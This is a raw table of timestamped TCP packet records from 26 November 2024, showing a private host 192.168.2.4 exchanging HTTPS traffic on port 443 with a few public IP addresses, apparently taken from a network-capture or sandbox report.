Nov 26, 2024 08:54:57.005183935 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:57.008243084 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:57.008268118 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:58.699121952 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:58.702964067 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:58.703010082 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:58.703448057 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:58.703536987 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:58.704125881 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:58.704197884 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:58.747066975 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:58.747319937 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:58.747370005 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:58.747692108 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:58.747759104 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:58.748303890 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:58.748362064 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:59.251246929 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:59.251368999 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:59.251468897 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:59.251513004 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:59.251645088 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:59.251683950 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:59.347861052 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:59.442792892 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:59.442821980 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:59.649646044 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.117842913 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.117883921 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.117983103 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.118048906 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.131181002 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.132654905 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.132694006 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.144750118 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.145759106 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.145781040 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.159519911 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.163079023 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.163141966 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.237920046 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.237942934 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.238024950 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.238059998 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.238945961 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.242106915 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.318681955 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.318734884 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.318769932 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.322464943 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.322542906 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.322560072 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.332500935 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.332592964 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.332648039 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.332668066 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.333410025 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.341341972 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.341439962 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.341545105 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.341558933 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.352760077 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.353148937 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.353163958 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.366271973 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.366328955 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.366343021 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.379945040 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.380659103 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.380671024 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.393373966 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.393451929 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.393512964 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.406982899 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.408505917 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.408540010 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.419949055 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.420444012 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.420468092 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.431886911 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.431957006 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.432013988 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.444561958 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.444883108 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.444902897 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.451936960 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.456645966 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.456705093 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.456721067 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.493465900 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.493525982 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.493551970 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.499346972 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.519913912 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.520001888 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.520034075 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.522244930 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.522300005 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.522316933 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.527071953 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.527158976 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.527173996 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.531377077 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.531534910 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.531548977 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.538877964 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.538959980 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.538981915 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.548424006 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.548543930 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.548563004 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.557169914 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.557295084 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.557308912 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.566310883 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.566391945 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.566405058 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.575373888 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.575433016 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.575463057 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.584485054 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.584558964 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.584582090 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.593080997 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.593498945 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.593549967 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.602103949 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.602163076 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.602278948 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:00.602318048 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:00.871366024 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:00.871424913 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:00.871628046 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:00.871978998 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:00.871994972 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:01.254251957 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.254291058 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.254333019 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.254380941 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.254419088 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.254453897 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.262605906 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.275393963 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.277030945 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.277040005 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.285551071 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.285600901 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.285609007 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.299357891 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.299416065 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.299443007 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.349270105 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.349302053 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.376194000 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.376317978 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.376339912 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.457473040 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.457518101 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.457532883 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.457588911 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.457633018 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.461218119 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.470017910 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.470060110 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.470079899 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.470092058 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.470155001 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.478276968 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.490209103 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.490257025 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.490264893 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.503942013 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.503998995 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.504010916 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.504024029 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.504065037 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.517673016 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.531399012 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.531478882 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.531533003 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.531560898 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.531599998 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.544960976 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.560156107 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.560360909 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.560374022 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.574100971 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.574151039 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.574160099 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.585808039 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.585880995 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.585937023 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.585947037 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.586052895 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.595938921 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.630511045 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.630590916 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.630600929 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.635030031 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.635667086 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.635674000 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.656780958 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.656835079 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.656843901 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.659118891 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.659178019 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.659187078 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.663813114 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.663898945 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.663908958 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.672404051 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.672450066 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.672461033 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.677638054 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.677681923 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.677690983 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.682832003 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.682887077 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.682894945 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.688061953 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.688132048 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.688138962 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.694413900 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.694495916 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.694642067 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:01.694659948 CET	443	49756	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:01.793994904 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:01.794061899 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:01.794135094 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:01.794567108 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:01.794586897 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:02.658617973 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:02.658708096 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:02.722098112 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:02.722143888 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:02.722578049 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:02.776453972 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:02.819350004 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.149471998 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.149497032 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.149507999 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.149540901 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.149555922 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.149565935 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.149574995 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.149627924 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.149652004 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.149770021 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.339289904 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.339320898 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.339354038 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.339386940 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.339401007 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.339431047 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.383550882 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.383573055 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.383625031 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.383635044 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.383658886 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.383671045 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.404908895 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:03.404967070 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:03.406630993 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:03.406636953 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:03.406850100 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:03.415292025 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:03.455331087 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:03.513645887 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.513711929 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.513731003 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.513750076 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.513767958 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.513781071 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.552057028 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.552119017 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.552131891 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.552167892 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.552172899 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.552222013 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.573543072 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.573594093 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.573631048 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.573647976 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.573676109 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.573690891 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.595170975 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.595223904 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.595249891 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.595259905 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.595288038 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.595300913 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.714140892 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.714160919 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.714226961 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.714255095 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.714293957 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.730181932 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.730200052 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.730254889 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.730268955 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.730298042 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.745992899 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.746010065 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.746062994 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.746073008 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.746109962 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.759622097 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.759638071 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.759696007 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.759706020 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.759738922 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.776488066 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.776503086 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.776545048 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.776556015 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.776583910 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.776597977 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.790535927 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.790551901 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.790595055 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.790604115 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.790627956 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.790643930 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.905929089 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.906001091 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.906008005 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.906054020 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.906128883 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.906148911 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.906158924 CET	49759	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.906164885 CET	443	49759	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.963110924 CET	49763	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.963149071 CET	443	49763	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.963217974 CET	49763	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.963684082 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.963706017 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.963788033 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.964595079 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.964637041 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.964694977 CET	49765	443	192.168.2.4	13.107.246.63
